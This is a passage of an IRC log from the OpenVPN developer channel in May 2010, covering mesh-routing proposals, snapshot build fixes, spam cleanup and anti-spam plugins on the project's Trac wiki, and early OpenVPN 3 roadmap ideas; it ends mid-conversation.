06:27 < reg9009> As some IP address is assigned when dialing in, could OpenVPN "guess" through the route injected by the system to shich tunnel the packets belong? 06:28 < reg9009> If this could be managed in any way, this VPN solution would really kick ass, especially on mesh type networks :) 06:29 < reg9009> we could provide support with test cases, configs and machines for routing, BGP, etc. Only thing we don't have is C developers... ;) 06:31 < reg9009> Sorry, I meant Router A propagates a new network... 06:35 < reg9009> still there? 06:47 * dazo read 06:49 <@dazo> reg9009: this is a more advanced setup ... And I would like to see this being discussed better, with more people to provide some feedback ... Would you mind sending this suggestion to the -devel mailing list? 06:49 < reg9009> of course not... 06:49 < reg9009> where do I subscribe to this list? 06:49 * dazo looks up the URL 06:50 <@dazo> reg9009: https://lists.sourceforge.net/lists/listinfo/openvpn-devel 06:50 < vpnHelper> Title: Openvpn-devel Info Page (at lists.sourceforge.net) 06:50 < reg9009> cool, thx! 06:51 < reg9009> I will subscribe and post it to the list, maybe explaining it a bit more in detail... 06:51 <@dazo> that would really be optimal! 06:52 <@dazo> I can't promise any clear results ... but getting more involved in the discussion, I hope it can surface at least some clear approaches on how to solve this 06:55 < reg9009> sure... 07:04 < ecrist> !list 07:04 < vpnHelper> ecrist: Admin, Channel, ChannelLogger, Config, Factoids, Google, Misc, Owner, Seen, Services, User, and Web 07:04 < ecrist> !learn list as https://lists.sourceforge.net/lists/listinfo/openvpn-devel 07:04 < vpnHelper> ecrist: Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 07:09 < ecrist> !learn list as https://lists.sourceforge.net/lists/listinfo/openvpn-devel 07:09 < vpnHelper> ecrist: Joo got it. 07:09 < ecrist> !list 07:09 < vpnHelper> ecrist: Admin, Channel, ChannelLogger, Config, Factoids, Google, Misc, Owner, Seen, Services, User, and Web 07:09 < ecrist> !learn mailinglist as https://lists.sourceforge.net/lists/listinfo/openvpn-devel 07:09 < vpnHelper> ecrist: Joo got it. 07:09 < ecrist> !mailinglist 07:09 < vpnHelper> ecrist: "mailinglist" is https://lists.sourceforge.net/lists/listinfo/openvpn-devel 07:10 < ecrist> !learm ml as see !mailinglist 07:10 < vpnHelper> ecrist: Error: "learm" is not a valid command. 07:10 < ecrist> !learn ml as see !mailinglist 07:10 < vpnHelper> ecrist: Joo got it. 07:11 < reg9009> sent it to list... 07:11 < reg9009> Cheers, Sebastian 07:11 -!- reg9009 [~chatzilla@ip-94-79-162-2.unitymediagroup.de] has left #openvpn-devel [] 08:22 -!- y0tta [~y0tta@ip12.208-100-1.static.steadfast.net] has joined #openvpn-devel 10:51 -!- dazo is now known as dazo_afk 11:04 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:15 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 11:55 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Read error: Operation timed out] 11:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 17:13 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 17:26 -!- krzee [nobody@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 17:26 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 20:17 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Sat May 01 2010 00:30 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 05:36 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:58 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:26 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 09:48 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 09:48 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 09:48 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 09:49 -!- krzee [nobody@unaffiliated/krzee] has quit [Remote host closed the connection] 09:55 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 10:39 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 11:03 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 15:41 -!- y0tta [~y0tta@ip12.208-100-1.static.steadfast.net] has quit [Ping timeout: 248 seconds] 17:53 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Sun May 02 2010 04:04 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:13 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:27 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 264 seconds] 09:10 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:26 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: Leaving] 13:26 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 14:35 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 15:20 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 16:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 18:42 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 19:11 -!- y0tta [~y0tta@95.211.0.238] has joined #openvpn-devel 19:16 -!- kasx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 19:17 -!- kasx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 19:27 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 21:31 -!- y0tta [~y0tta@95.211.0.238] has quit [Quit: y0tta] --- Day changed Mon May 03 2010 03:33 -!- dazo_afk is now known as dazo 06:41 < ecrist> dazo: you awake? 06:43 < ecrist> it would appear my cron job didn't run yesterday 06:47 <@dazo> ecrist: I'm here 06:48 < ecrist> looks like my cronjob had a typo 06:48 < ecrist> so, week 18 tarball didn't build 06:48 <@dazo> aha 06:48 < ecrist> testing a new one now 06:48 < ecrist> just a pathing issue 06:49 <@dazo> nice! I'm going to use these tarballs on one of my client machines ... and will update it regularly, so I'll probably bug you whenever it fails now :-P 06:50 <@dazo> just to be sure we have good and updated snaphots available 06:51 < ecrist> works for me. :) new tarball seems to have built, want to check it out? 06:52 <@dazo> sure! 06:52 <@dazo> ftp site? 06:52 < ecrist> it didn't get sent to ftp., only to ftp2 06:52 <@dazo> ahh 06:52 < ecrist> I need to update my ssh keys, moved to a new server for my primary ftp 06:52 <@dazo> I see 06:55 <@dazo> ecrist: you don't provide ./configure via these snapshots? 07:03 < ecrist> it's supposed to be in there - another pathing issue 07:03 < ecrist> working on all of it 07:14 <@dazo> it builds fine, when running autoreconf manually ... but that's only to generate the needed files 07:16 <@dazo> I know you hate this idea ... but if you do autoreconf -i && ./configure && make distcheck ... you'll get a tarball which is really ready for primetime ... and if this fails, there's some issues with the packaging 07:16 <@dazo> *package, I mean 07:18 < ecrist> ok, the issue is with aclocal, I'm going to mangle my path in cron to get it to work 07:20 < ecrist> the problem was aclocal isn't in my cron's path, and I'm using the internal bootstrap script. this is just a matter of correcting the paths 07:20 <@dazo> oki 07:21 < ecrist> dazo: checkout week 18 from ftp2.secure-computing.net 07:21 < ecrist> should be built OK 07:21 * dazo does 07:22 < ecrist> checkout is probably a bad choice, download/test would be better 07:22 <@dazo> heh :) 07:23 * dazo runs distcheck now 07:26 <@dazo> ecrist: looking good! 07:29 < ecrist> great! that one was actually built via cron, so we should be good to go. 07:29 <@dazo> nice! :) Let's see next week then :) 07:30 < ecrist> thanks for checking it out for me 07:30 <@dazo> thanks for handling my whining! ;-) 07:32 < ecrist> if it's broke, it's broke. :) 07:32 * ecrist heads to the office. 07:33 * dazo completed updating his test client ... begins thinking about how to setup a test server as well 10:01 < ecrist> dazo: can you do me a favor, and not delete content from scn wiki? 10:01 < ecrist> feel free to point to new location on openvpn.net, but don't delete content that's already in place. 10:02 <@dazo> ecrist: sure ... why? the info I removed was getting outdated due to updates on the community site though 10:02 <@dazo> and it's in the "history" if needing to look at old stuff ... 10:03 < ecrist> just an oddity of my personality, I suppose. 10:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:03 < ecrist> don't undo anything you've done, though. 10:03 <@dazo> oki ... no prob 10:17 < ecrist> thanks. 12:31 -!- dazo is now known as dazo_afk 13:57 <@openvpn2009> hey guys, anyone around? 13:57 <@openvpn2009> ecrist/dazo/mattock? 13:58 < ecrist> sup? 13:59 <@openvpn2009> pm 15:04 <@mattock> openvpn2009: I'm here, at least for a while 15:29 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 16:00 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Ping timeout: 246 seconds] 16:04 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 16:05 -!- Guest12047 is now known as openvpn2009 16:05 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 17:11 <+Kas> pinging openvpn2009 17:12 <+Kas> Ground Control to Major Tom 17:12 <+Kas> Commencing countdown, engines on 17:13 < krzee> sup there openvpn2009 17:14 < krzee> you know you're 5 months outdated? :-p 17:14 < krzee> may as well go to 2011 so you dont have it again in 7 months 17:29 <@openvpn2009> haha 17:54 < krzee> or go straight to 2012 and if the world ends then you never have to change it again! 17:54 < krzee> ;] 18:23 < ecrist> s/if/when/ 18:58 < krzee> when is garunteed, however, for 2012 its an if 18:59 < krzee> if we put it in a while :, with a ((year++)) it will for sure match at some point 19:02 < ecrist> not if you run it on a 32-bit system. ;) 19:13 < krzee> depends if year is a normal variable or a function of date 19:26 * ecrist thinks we could go round and round. 21:59 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has joined #openvpn-devel --- Day changed Tue May 04 2010 00:10 -!- Netsplit *.net <-> *.split quits: ScriptFanix 00:16 -!- Netsplit over, joins: ScriptFanix 00:53 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:25 <@mattock> am I wrong or has our Trac been (already) taken over by spammers? 01:25 <@mattock> for China? 01:25 <@mattock> from 01:37 <@mattock> I'm disecting the issue right now 02:04 -!- dazo_afk is now known as dazo 02:07 <@dazo> mattock: how come? 02:07 * dazo has not looked at Trac yet 02:07 <@mattock> check the main page 02:07 <@mattock> trac is also a tad slow 02:07 <@dazo> gah ... 02:07 <@mattock> seems like an automated bot got through the reCAPTCHA registration challenge 02:08 <@dazo> the translation looks nice enough though ... 02:09 <@mattock> yep 02:09 <@mattock> I'm trying to revert to an earlier revision now, it seem only the index page has been modified 02:10 <@mattock> tada 02:10 <@mattock> fixed 02:10 <@mattock> dazo, I'll give you trac-admin rights, too 02:10 <@dazo> cool :) Yeah, I was thinking about to get the trackers more interesting ... than just component[12] ... and so on, but I forgot to mention it to you 02:11 <@mattock> I'll add some bot-preventing stuff to Trac... I hope we don't get human spammers, because there's nothing to stop them 02:11 <@dazo> but now I can probably fix it myself as well :) 02:11 <@dazo> very true! 02:12 <@mattock> I gave you WIKI_ADMIN permission - you should now see "Delete page" and "Delete this revision" buttons... you can check the revision log from "History" (top right) 02:13 <@dazo> nice! 02:20 < krzie> mattock, yes almost all captchas have been comromised 02:20 < krzie> compromised 02:20 < krzie> its a matter of having the $ and contacts to buy the exploits ;) 02:20 <@mattock> yep 02:21 < krzie> and they can get pretty expensive depending on your targets 02:21 < krzie> some are un-purchased even 02:21 <@dazo> mattock: I'd say captchas which uses images (click on all {cats, dogs, mice, hamsters,etc} you see below) or mathematical questions is better 02:22 < krzie> the more they are purchased the cheaper they get 02:22 <@mattock> user registration uses an image captcha (reCAPTCHA) or alternatively a sound captcha 02:22 <@mattock> there are couple of easy spam prevention hacks for trac which I'll install 02:22 <@mattock> they should not affect normal users much 02:23 < krzie> but same goes for networks and databases, most are owned but its a matter of price, they people with most skill arent giving u access of politics or getting their name out... they want to remain nameless and take no sides, just get some $ for what they enjoy 02:24 <@mattock> can bots do email verification loops, btw? 02:24 < krzie> mattock, like how? 02:24 < krzie> like accept an email in hacked account and verify through it? 02:25 <@mattock> I mean the "usual" registration email loop ("an email has been sent to ... click on the link to activate your account") 02:25 < krzie> shit, *I* could design that 02:25 < krzie> and i am no programmer 02:25 <@dazo> that they use some kind of temporary email account ... (those 5min mail boxes) ... sends registration, pulls this mail box via http for 5 minutes ... and does the validation 02:26 < krzie> dazo, or a large seed of compromised emails, easy to attain 02:26 <@mattock> I was just wondering why everybody is using those verification emails... 02:26 < krzie> compromised are easier to deal with than temp emails really 02:28 <@dazo> krzie: http://www.disposeamail.com/ ... parsing such sites like this is kind of script-kiddie level .... 02:28 < vpnHelper> Title: Disposable Email - Disposeable Email - Throw-Away Email - Disposeamail.com (at www.disposeamail.com) 02:28 < krzie> oh wow 02:28 < krzie> hahaa 02:29 < krzie> what ive seen would take a huge seed of normally yahoo/hotmail/gmail addresses 02:29 <@dazo> another popular one ... http://www.mailinator.com/ 02:29 < vpnHelper> Title: Mailinator - Let Them Eat Spam! (at www.mailinator.com) 02:29 < krzie> i never saw people using bots to make their own addresses 02:29 < krzie> im sure they do tho 02:30 < krzie> ive run into different sorts of stuff at the san diego datacenter 02:30 <@dazo> it wouldn't surprise me ... and it it will just become used more and more 02:30 < krzie> they have bunches of insecure cpanel boxen 02:30 <@dazo> heh .... just that says it all :-P 02:31 < krzie> they hit me up from time to time to figure out whats going on on some box 02:31 < krzie> ever-changing box, lol 02:31 < krzie> seen all sorts of random 02:32 < krzie> but i get colo at cost so i sure aint mad 02:32 <@dazo> heh :) 02:32 < krzie> just gotta remember to static arp ;] 02:33 < krzie> vpn between boxes over the switch 02:33 < krzie> dont trust shit there, but use fast link 02:49 -!- dazo is now known as dazo_afk 02:51 -!- dazo_afk is now known as dazo_afk_afk 03:10 <@mattock> what do you think about using a math captcha before edits (like in Secure-computing wiki)? 03:19 < krzie> sounds like worthy of trying 03:20 <@mattock> I added InputFieldTrap plugin, but it might not catch anything advanced 03:21 <@mattock> it basically adds a hidden field which needs to be empty, but which spambots (hopefully) fill in 03:22 <@mattock> then there's spamfilter plugin with bayesian filtering, but teaching that might be problematic 03:28 < krzie> all i know is whatever the forum has isnt enouh 03:28 < krzie> enough 03:29 < krzie> In total there are 162 posts waiting for approval. 03:34 <@mattock> spam posts? 03:34 <@mattock> all of them 03:46 < krzie> most 03:46 < krzie> answered 1 (he found irc before i saw him on forum) 03:46 < krzie> answering another now 03:47 < krzie> [04:36] New forum entry openvpnforum: Configuration :: Configure client to read user/pass from file? :: Author angel.tsankov || Configuration :: Re: Configure client to read user/pass from file? :: Reply by krzee 03:47 < vpnHelper> Title: OpenVPN Forum View topic - Configure client to read user/pass from file? (at www.ovpnforum.com) 03:47 < krzie> you can see the forum activity in ##openvpn ;] 04:08 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 04:10 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 06:43 -!- dazo_afk_afk is now known as dazo 09:00 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 13:22 -!- dazo is now known as dazo_afk 14:56 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 18:54 -!- kasx [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 18:59 -!- Kas [~Kasx@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Quit: Leaving] 21:50 -!- Irssi: #openvpn-devel: Total of 12 nicks [3 ops, 0 halfops, 0 voices, 9 normal] 21:59 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 21:59 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:42 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:42 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:42 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:42 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:42 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:43 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:43 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:43 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:43 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:43 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:44 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:44 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:44 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:44 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:44 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:44 -!- openvpn [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:45 -!- openvpn [openvpn@atlantis.openvpn.org] has quit [Disconnected by services] 22:45 -!- openvpn_ [openvpn@atlantis.openvpn.org] has joined #openvpn-devel 22:47 -!- openvpn_ [openvpn@atlantis.openvpn.org] has quit [Remote host closed the connection] 23:32 -!- raidz [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] --- Day changed Wed May 05 2010 00:20 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 00:20 -!- mode/#openvpn-devel [+o raidz] by ChanServ 00:22 -!- raidz [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 00:23 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 00:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:22 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 02:23 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has quit [Ping timeout: 260 seconds] 02:23 -!- dazo_afk is now known as dazo 03:46 -!- Netsplit *.net <-> *.split quits: @dazo 03:47 -!- Netsplit over, joins: @dazo 07:31 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 07:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:47 -!- dazo [~dazo@nat/redhat/x-kzbwookxophpjiby] has quit [Read error: Connection reset by peer] 10:47 -!- dazo [~dazo@nat/redhat/x-kenkicgjnnszajpo] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:13 -!- dazo is now known as dazo_afk 11:23 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 11:26 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 11:28 -!- Guest12047 is now known as openvpn2009 11:28 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 14:12 -!- waldner [~570d88f0@gateway/web/freenode/x-jsmzklnlnjadrzud] has joined #openvpn-devel 14:41 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 15:25 -!- krzee [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 15:29 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 16:07 -!- waldner [~570d88f0@gateway/web/freenode/x-jsmzklnlnjadrzud] has quit [] 17:01 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has joined #openvpn-devel 17:13 -!- krzee [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 17:20 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 17:57 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 18:01 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 268 seconds] 18:01 -!- raidz [~Andrew@seance.openvpn.org] has quit [Ping timeout: 268 seconds] 18:02 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 19:09 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 19:13 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 22:11 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Thu May 06 2010 00:20 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 00:21 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 00:21 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:04 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has quit [Ping timeout: 276 seconds] 01:58 -!- dazo_afk is now known as dazo 02:24 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Ping timeout: 240 seconds] 02:29 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 07:10 < ecrist> mattock: re: forum, I plan on starting work on those a little over a week from now. 07:10 * ecrist packs up for the trip to the office 07:21 <@mattock> ecrist: ok, let's talk about that in more detail later (tomorrow?) 07:44 < ecrist> ok 07:47 * krzie looks up for scroll 07:49 < ecrist> mattock: later today works better than tomorrow. 08:11 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 08:13 < ecrist> mattock: you still around? 08:18 < ecrist> nm 09:41 <@mattock> ecrist: how about the weekend? I'm heading to Poland on Monday and will return next Saturday 09:42 <@mattock> or maybe chat a little after the meeting (too much to do before it) 09:43 < ecrist> no big worry, let's talk when you return. 09:44 < ecrist> I'm in Canada for BSDCan all next week, so won't be working on it, anyhow. 09:46 <@mattock> ok, great! 09:46 <@mattock> have a nice BSDcan, btw 09:47 <@mattock> is Theo going to be there? 10:21 -!- Bloodsong [~Nimbus@bas2-barrie18-1279301444.dsl.bell.ca] has joined #openvpn-devel 11:07 -!- dazo is now known as dazo_afk 11:57 -!- reg9009 [~chatzilla@ip-94-79-162-2.unitymediagroup.de] has joined #openvpn-devel 11:58 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:58 -!- krzie [nobody@unaffiliated/krzee] has quit [Remote host closed the connection] 11:59 -!- reg9009 [~chatzilla@ip-94-79-162-2.unitymediagroup.de] has left #openvpn-devel [] 12:34 -!- Bloodsong [~Nimbus@bas2-barrie18-1279301444.dsl.bell.ca] has quit [Read error: Connection reset by peer] 12:39 -!- ribasushi [~rabbit@ip-109-91-187-9.unitymediagroup.de] has joined #openvpn-devel 12:46 -!- astrophy [~astrophy@ip12.208-100-1.static.steadfast.net] has joined #openvpn-devel 12:56 -!- reg9009 [~chatzilla@ip-95-223-198-55.unitymediagroup.de] has joined #openvpn-devel 13:00 <@cron2_> hey 13:00 -!- cron2_ is now known as cron2 13:00 < reg9009> hey tehre... 13:01 <@mattock> hi 13:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:02 < jamesyonan> hi 13:02 <@mattock> hi james! 13:02 <@cron2> hi mattock, james, reg9009 13:02 < jamesyonan> I wrote up some ideas/notes on OpenVPN 3: http://secure.openvpn.net/doc/ovpn3.txt 13:02 < jamesyonan> I haven't had a chance to put it on the wiki yet. 13:03 <@mattock> jamesyonan: I can put it to the wiki 13:04 < jamesyonan> great 13:04 < reg9009> from a first look it sounds good... 13:04 <@mattock> our Trac got spammed a little by a chinese spambot earlier, so I firewalled pwm until Trac has a few spam prevention plugins 13:04 <@mattock> "a little" meaning it's fixed and only main page was touched 13:08 <@mattock> jamesyonan: looks good 13:09 <@mattock> do you have any idea if other people would be interested in this "userspace network stack"? I mean for non-VPN functionality... 13:09 <@cron2> there's some attempts to do so in the "routing" space (click) 13:09 <@mattock> because if they were, our community could become much bigger 13:09 <@cron2> but I have never heard anybody outside the research community use that... 13:10 < jamesyonan> a lot of applications use user-space network stacks -- for example all the VM-containers like VMWare, Xen, etc. 13:10 <@cron2> there are dangers to "make everything modular and super-flexible" - if not done carefully, it goes hand in hand with "super-complicated and too difficult to use for the normal user" 13:11 < jamesyonan> the modularity is mostly visible to the developer 13:11 <@cron2> Linux users might remember u-isdn (super-flexible) vs. isdn4linux (fairly limited, but did all the necessary things) - and i4l won... 13:11 < jamesyonan> network stacks are fairly well understand -- all the OSes have them 13:12 < reg9009> it may help to "separate" functionality, depending on the OS OpenVPN runs. 13:12 < jamesyonan> I don't think the network stack would need the full functionality of a "real" kernel-level stack 13:12 <@cron2> if the end user does not have to know how to plug "network module", "SSL module" and "UDP module" together to make OpenVPN work, I won't have worries 13:12 < reg9009> Basic functionality every OS shares, and "special" additions which only run on certain OSes 13:13 <@mattock> jamesyonan: so how big part of a "normal" OS network stack would we implement? 13:13 <@mattock> for _our_ purposes (VPN) I mean 13:15 < jamesyonan> I'm thinking we should build the user-space network stack abstraction with minimal functionality initially -- just enough to do the major protocols (IPv4, IPv6), the major connectors (tun/tap), the major routing agents (IP routing), and enough flexibility to do cloud-based full-mesh routing. 13:15 -!- fabiank [~fabian.kn@cl-809.dus-01.de.sixxs.net] has joined #openvpn-devel 13:16 < reg9009> This is a good topic, jamesyonan. 13:16 < fabiank> Hi everyone 13:16 < reg9009> Talking about full-mesh routing 13:16 < reg9009> Hi 13:17 <@mattock> hi fabiank 13:17 < reg9009> I've found a developer which is actually looking at this.. 13:17 < reg9009> The plan is to listen for route changes via net socket 13:18 <@cron2> reg9009: what you could do (what a colleague of mine does) is to use tap mode and then run quagga (or the routing daemon of choice) on the tap interfaces 13:18 <@cron2> that way, openvpn doesn't need to see the routing changes 13:18 < reg9009> if route is changed and gateway is one of the OpenVPN clients, add network behind to OpenVPNs iroute table 13:18 <@mattock> ok, roadmap ideas in the wiki: https://community.openvpn.net/openvpn/wiki/RoadMap 13:18 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 13:20 < reg9009> cron2: As I understood, tap interface is layer2 13:20 < reg9009> We need layer3 only interface... 13:20 <@cron2> reg9009: yes, so you do not need iroutes in OpenVPN. You just set up a "transfer network" and route transparently across it. Just as if you had an ethernet connecting the boxes 13:21 <@cron2> the main drawback of tap is that you have the extra overhead of ethernet headers and ARPing 13:21 < jamesyonan> I'd also like to see OpenVPN handle IP multicast better, and the user-space network stack concept lends itself well to that 13:21 < ribasushi> auto-meshing openvpn would be bloody awesome 13:22 < reg9009> it doesn't look to hard to implement. 13:22 -!- janjust [~janjust@5355E9DA.cable.casema.nl] has joined #openvpn-devel 13:22 <@mattock> so we could use external software to replace some of the functionality, right? 13:22 <@cron2> reg9009: but I'd actually like to see a similar thing - "route" commands in ccd/ (so that a route is only pulled towards OpenVPN if the client in question connects) 13:22 < janjust> evening all , sorry for being late 13:22 <@cron2> hi jjk 13:22 <@mattock> hi janjust! 13:22 < reg9009> mattock: yes and no 13:23 < fabiank> Hi janjust :) 13:23 < janjust> route commands inside ccd files? how do you want to avoid deadlocks then? 13:23 < reg9009> enable third party software (like quagga or others) to (at least partly) manipulate OpenVPN 13:23 <@cron2> janjust: where's the deadlock? 13:23 < janjust> well you need to make absolutely sure that no 2 ccd files have the same route+iroute combination 13:24 <@cron2> janjust: well, when adding the second one, you'd get an error message, of course. 13:24 < janjust> it's not really a deadlock I guess, more of a "how do you know where subnet X is going to?" 13:25 < reg9009> or add functionality, like new chryptographic mechanism, etc. 13:25 <@cron2> janjust: well, this is actually more of an ccd/iroute problem, and you can have iroute-in-ccd/ today :-) 13:25 < janjust> that is true cron2 13:25 < janjust> what *are* the plans for 3.0 :) 13:25 <@mattock> https://community.openvpn.net/openvpn/wiki/RoadMap 13:25 < vpnHelper> Title: RoadMap – OpenVPN (at community.openvpn.net) 13:25 <@cron2> janjust: the usual rules apply: more-specific prefix wins - and if you have two prefixes of same size, you need to define a tie-breaker 13:26 < reg9009> a good example of plugin possibilities is dovecot... 13:26 < reg9009> core functionality in dovecot, but easily extendable 13:26 < janjust> oooh I like the roadmap - lots of ideas that I would like to see implemented 13:26 < janjust> esp the separating of the core and the userspace app 13:27 <@cron2> I like many of the ideas, but I'm worried that we won't see IPv6 or multiple-listen-socket before 3.0 then... 13:27 < janjust> is ipv6 (tun-ipv6) still broken? 13:27 < reg9009> B.t.w., no one really does dynamic routing over VPN, yet. 13:27 <@mattock> oh, dovecot is from Finland (originally) 13:28 < reg9009> Only sepacial (and expensive) solutions which are tied to same vendors on the two ends... 13:28 <@cron2> janjust: there's a feature branch in dazo's "testing" tree which works-for-me 13:28 <@cron2> (feat_payload_ipv6, IIRC) 13:28 < janjust> ok thx cron2, I really need to start playing with the git trees 13:28 < janjust> as soon as I finish my book :) 13:28 <@cron2> reg9009: you can use dynamic routing over L2TP setups 13:29 <@cron2> janjust: it's also in "allmerged", so if you have that, you have the most important bits for IPv6 payload and IPv6 transport 13:30 <@cron2> reg9009: but yes, having this in OpenVPN sounds useful 13:30 < reg9009> people are going away from L2TP (at least companies I know of). 13:31 < janjust> ipsec+l2tp is here to stay for quite some time 13:31 < janjust> until ipv6 becomes more mainstream 13:31 < reg9009> :) 13:31 <@cron2> l2tp without IPSEC is the fundation for most DSL provider setups (on the inside) :-) - *and* you can do IPv6 with L2TP just fine... 13:32 < janjust> yep cron2 but most windows users currently still need L2TP 13:32 < janjust> don't know about smartphones , but AFAIK they also rely on either PPTP or L2TP 13:32 <@cron2> yes, in the windows world, ipsec+l2tp or pptp is what you have 13:32 < 